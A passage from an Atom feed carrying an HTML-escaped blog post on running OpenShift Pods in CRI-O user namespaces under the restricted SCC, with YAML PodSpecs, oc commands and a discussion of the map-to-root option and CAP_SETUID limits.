&lt;span id=&quot;cb4-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; registry.fedoraproject.org/fedora:35-x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb4-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb4-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;sleep&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;3600&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;io.openshift.userns&lt;/code&gt;&lt;/strong&gt; annotation selects the CRI-O workload
profile that we added via the &lt;code&gt;MachineConfig&lt;/code&gt; above. This profile
enables several other annotations, but does not automatically
execute the Pod in a user namespace. For that, you must &lt;em&gt;also&lt;/em&gt;
supply the &lt;strong&gt;&lt;code&gt;io.kubernetes.cri-o.userns-mode&lt;/code&gt;&lt;/strong&gt; annotation. Its
argument tells CRI-O to automatically select unique host UID range
of size 65536 to map into the container’s user namespace.&lt;/p&gt;
&lt;p&gt;I created the Pod as user &lt;code&gt;test&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc --as test create -f pod-fedora.yaml
pod/fedora created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Observe that it was admitted via the &lt;code&gt;restricted&lt;/code&gt; SCC:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/fedora \
    | jq '.metadata.annotations.&amp;quot;openshift.io/scc&amp;quot;'
&amp;quot;restricted&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunately, the container is not running:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/fedora \
  | jq '.status.containerStatuses[].state'
{
  &amp;quot;waiting&amp;quot;: {
    &amp;quot;message&amp;quot;: &amp;quot;container create failed: time=\&amp;quot;2022-02-02T05:43:34Z\&amp;quot; level=error msg=\&amp;quot;container_linux.go:380: starting container process caused: setup user: cannot set uid to unmapped user in user namespace\&amp;quot;\n&amp;quot;,
    &amp;quot;reason&amp;quot;: &amp;quot;CreateContainerError&amp;quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The core error message is: &lt;strong&gt;&lt;em&gt;cannot set uid to unmapped user in
user namespace&lt;/em&gt;&lt;/strong&gt;. This arises because, in the absense of a
&lt;code&gt;runAsUser&lt;/code&gt; specification in the PodSpec, the &lt;code&gt;restricted&lt;/code&gt; SCC has
defaulted it to a value from the UID range assigned to the project:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json pod/fedora \
  | jq '.spec.containers[].securityContext.runAsUser'
1000650000&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The project UID range allocation is recorded in the project and
namespace annotations:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -o json project/test namespace/test \
    | jq '.items[].metadata.annotations.&amp;quot;openshift.io/sa.scc.uid-range&amp;quot;'
&amp;quot;1000650000/10000&amp;quot;
&amp;quot;1000650000/10000&amp;quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;OpenShift allocated to project &lt;code&gt;test&lt;/code&gt; a range of 10000 UIDs starting
at &lt;code&gt;1000650000&lt;/code&gt;. The error arises because UID &lt;code&gt;1000650000&lt;/code&gt; is not
mapped in the user namespace. The host UID range may be something
like &lt;code&gt;200000&lt;/code&gt;–&lt;code&gt;265535&lt;/code&gt;, whereas the sandbox’s UID range is
&lt;code&gt;0&lt;/code&gt;–&lt;code&gt;65535&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I deleted the Pod and will try something different:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc delete pod/fedora
pod &amp;quot;fedora&amp;quot; deleted&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s say that we want to run the container process as UID &lt;code&gt;0&lt;/code&gt; &lt;em&gt;in
the Pod’s user namespace&lt;/em&gt;, as would be required for a systemd-based
workload. Instead of leaving it to the SCC machinery, I’ll set
&lt;code&gt;runAsUser: 0&lt;/code&gt; in the PodSpec myself:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb11&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb11-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.openshift.userns&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.kubernetes.cri-o.userns-mode&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;auto:size=65536&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; registry.fedoraproject.org/fedora:35-x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;sleep&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;3600&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;securityContext&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb11-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb11-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;runAsUser&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This time the &lt;code&gt;test&lt;/code&gt; user cannot even create the Pod:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc --as test create -f pod-fedora.yaml
Error from server (Forbidden): error when creating &amp;quot;pod-fedora.yaml&amp;quot;…&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’ve trimmed the rather long error message, but the core problem is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;spec.containers[0].securityContext.runAsUser: Invalid value:
0: must be in the ranges: [1000650000, 1000659999]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;restricted&lt;/code&gt; SCC only allows &lt;code&gt;runAsUser&lt;/code&gt; values that fall in the
projects assigned UID range. And this is what we would expect. The
problem is that the admission machinery has no awareness of user
namespaces. It cannot discern that &lt;code&gt;runAsUser: 0&lt;/code&gt; means that we
want to run as UID &lt;code&gt;0&lt;/code&gt; &lt;em&gt;inside the user namespace&lt;/em&gt;, whilst mapped to
an unprivileged UID on the host.&lt;/p&gt;
&lt;p&gt;The problem is twofold. First, we are unable to control the UID
mapping that CRI-O gives us, so that it would coincide with the
project’s UID range. Second, the SCC admission checks and
defaulting is oblivious to user namespace. &lt;code&gt;runAsUser&lt;/code&gt; is
interpreted as referring to host UIDs, and the &lt;code&gt;restricted&lt;/code&gt; SCC
restricts (or defaults) us to values that are not mapped in the
Pod’s user namespace.&lt;/p&gt;
&lt;h2 id=&quot;solution&quot;&gt;Solution &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#solution&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;map-to-root&lt;/code&gt; option in the &lt;code&gt;userns-mode&lt;/code&gt; annotation provides a
solution to this dilemma. It takes whatever value &lt;code&gt;runAsUser&lt;/code&gt; is,
and ensures that that host UID gets mapped to UID &lt;code&gt;0&lt;/code&gt; in the Pod
user namespace. The updated PodSpec is:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb14&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb14-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Pod&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.openshift.userns&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;io.kubernetes.cri-o.userns-mode&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;auto:size=65536;map-to-root=true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;securityContext&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;runAsUser&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dv&quot;&gt;1000650000&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;containers&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; fedora&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; registry.fedoraproject.org/fedora:35-x86_64&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb14-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb14-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;sleep&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;3600&amp;quot;&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now the Pod is able to run:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc --as test create -f pod-fedora.yaml
pod/fedora created

% oc get -o json pod/fedora \
  | jq '.spec.nodeName, .status.containerStatuses[].state'
&amp;quot;ci-ln-fizz88k-72292-9phfc-worker-c-7s99v&amp;quot;
{
  &amp;quot;running&amp;quot;: {
    &amp;quot;startedAt&amp;quot;: &amp;quot;2022-02-02T06:20:49Z&amp;quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can observe the UID mapping:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc rsh pod/fedora cat /proc/self/uid_map
         1     265536      65535
         0 1000650000          1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This shows that UID &lt;code&gt;0&lt;/code&gt; in the Pod’s user namespace maps to UID
&lt;code&gt;10000650000&lt;/code&gt; in the parent (host) user namespace. The remaining
UIDs &lt;code&gt;1&lt;/code&gt;–&lt;code&gt;65536&lt;/code&gt; in the Pod’s user namespace are mapped contiguously
from UID &lt;code&gt;265536&lt;/code&gt; in the host user namespace.&lt;/p&gt;
&lt;p&gt;Objective achieved.&lt;/p&gt;
&lt;h3 id=&quot;why-runasuser-must-be-specified&quot;&gt;Why &lt;code&gt;runAsUser&lt;/code&gt; must be specified &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#why-runasuser-must-be-specified&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Referring back to the PodSpec, why is it necessary to explicitly
specify &lt;code&gt;runAsUser&lt;/code&gt;? Doesn’t the SCC admission machinery
automatically set the default value? Well… yes, and no. The SCC
machinery defaults &lt;code&gt;runAsUser&lt;/code&gt; in each &lt;em&gt;container’s&lt;/em&gt;
&lt;code&gt;securityContext&lt;/code&gt; field. But it does not set it in the &lt;em&gt;Pod’s&lt;/em&gt;
&lt;code&gt;securityContext&lt;/code&gt;. And it is the &lt;em&gt;Pod&lt;/em&gt; &lt;code&gt;securityContext&lt;/code&gt; that CRI-O
examines when processing the &lt;code&gt;map-to-root&lt;/code&gt; option. If it is unset,
&lt;code&gt;CRI-O&lt;/code&gt; will not set the mapping up properly and container(s) will
fail to run.&lt;/p&gt;
&lt;p&gt;The consequence of this is that the user or operator creating the
Pod must first examine the Project or Namespace object to learn what
its assigned UID range is. Then it must set the
&lt;code&gt;spec.securityContext.runAsUser&lt;/code&gt; field to the start value of that
range. The range assignment will certainly differ from project to
project so it cannot be hardcoded. This is a bit annoying: more
work for the human operator, or more automation behaviour to
implement and maintain.&lt;/p&gt;
&lt;p&gt;The simplest solution I can think of is to enhance the SCC
processing to also set &lt;code&gt;spec.securityContext.runAsUser&lt;/code&gt; if it is
unset. Then CRI-O would see the value it needs to see.
Alternatively CRI-O could be enhanced to check the container
&lt;code&gt;securityContext&lt;/code&gt; if the &lt;code&gt;runAsUser&lt;/code&gt; is not specified in the Pod
&lt;code&gt;securityContext&lt;/code&gt;. But to me this seems ill principled because
different containers (in the same Pod) could specify different
values, and there is no obvious “right” way to resolve the
ambiguities.&lt;/p&gt;
&lt;h2 id=&quot;using-multiple-uids&quot;&gt;Using multiple UIDs &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#using-multiple-uids&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Although I have a nice range of 65536 UIDs mapped in the Pod’s user
namespace, I am not able to run processes as any UID other than &lt;code&gt;0&lt;/code&gt;.
This is beacuse the &lt;code&gt;restricted&lt;/code&gt; SCC forcibly omits &lt;code&gt;CAP_SETUID&lt;/code&gt;
(among others) from the capability bounding set of the container
process. Complex workloads, including any based on systemd, will
fail to run properly under such a constraint.&lt;/p&gt;
&lt;p&gt;The simplest workaround is to admit the Pod via the &lt;code&gt;anyuid&lt;/code&gt; SCC.
But that undoes the good outcome achieved in this post!&lt;/p&gt;
&lt;p&gt;An intermediate workaround is the create a new SCC that does not
forcibly deprive containers of &lt;code&gt;CAP_SETUID&lt;/code&gt;. This entails
administrative overhead.&lt;/p&gt;
&lt;p&gt;It also increases the attack surface. The &lt;code&gt;setuid(2)&lt;/code&gt; system call
is restricted to UIDs mapped in the UID namespace of the calling
process. If the calling process is in an isolated user namespace
that maps to unprivileged host UIDs, it is safe (up to kernel bugs)
to grant &lt;code&gt;CAP_SETUID&lt;/code&gt; to that process. But recall that user
namespaces are still opt-in; by default Pods use the host user
namespace. An SCC can use &lt;code&gt;MustRunAsRange&lt;/code&gt; to restrict the
&lt;em&gt;initial&lt;/em&gt; container process to running as a user in the project’s
assigned UID range. But if that SCC also lets containers use
&lt;code&gt;CAP_SETUID&lt;/code&gt;, then it doesn’t really provide more protection than
&lt;code&gt;anyuid&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;A more robust solution would be to modify CRI-O to &lt;em&gt;reinstate&lt;/em&gt;
&lt;code&gt;CAP_SETUID&lt;/code&gt; and related capapbilities when the Pod runs in a user
namespace. I will raise the topic with the CRI-O maintainers, as
solving this problem is important for our use case, and probably
other “legacy” workloads too.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#conclusion&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In this post I demonstrated how to run workloads in a user namespace
on OpenShift, under the default &lt;code&gt;restricted&lt;/code&gt; SCC. The &lt;code&gt;map-to-root&lt;/code&gt;
option is critical to accomplishing this. There is an unfortunate
“rough edge” in that the workload must specifically refer to the UID
range assigned to the namespace in which the Pod will live, which
means additional work for or complexity in the operator (human or
otherwise).&lt;/p&gt;
&lt;p&gt;Despite this progress, if you need to run processes under different
UIDs in the container(s), the &lt;code&gt;restricted&lt;/code&gt; UID won’t work because it
deprives the container process of the &lt;code&gt;CAP_SETUID&lt;/code&gt; capability. You
must go back to admitting the workload via &lt;code&gt;anyuid&lt;/code&gt; or a similar
SCC, which is a significant erosion of the security boundaries
between containers and the host. This issue will be the subject of
future investigations.&lt;/p&gt;</content>
		<author>
			<name>Fraser Tweedale</name>
			<email>frase@frase.id.au</email>
			<uri>https://frasertweedale.github.io/blog-redhat</uri>
		</author>
		<source>
			<title type="html">Fraser's IdM Blog</title>
			<link rel="self" href="https://frasertweedale.github.io/blog-redhat/atom.xml"/>
			<id>https://frasertweedale.github.io/blog-redhat/atom.xml</id>
			<updated>2026-05-10T07:26:11+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en-us">
		<title type="html">Posts</title>
		<link href="https://npmccallum.gitlab.io/post/"/>
		<id>https://npmccallum.gitlab.io/post/</id>
		<updated>2021-11-18T21:05:01+00:00</updated>
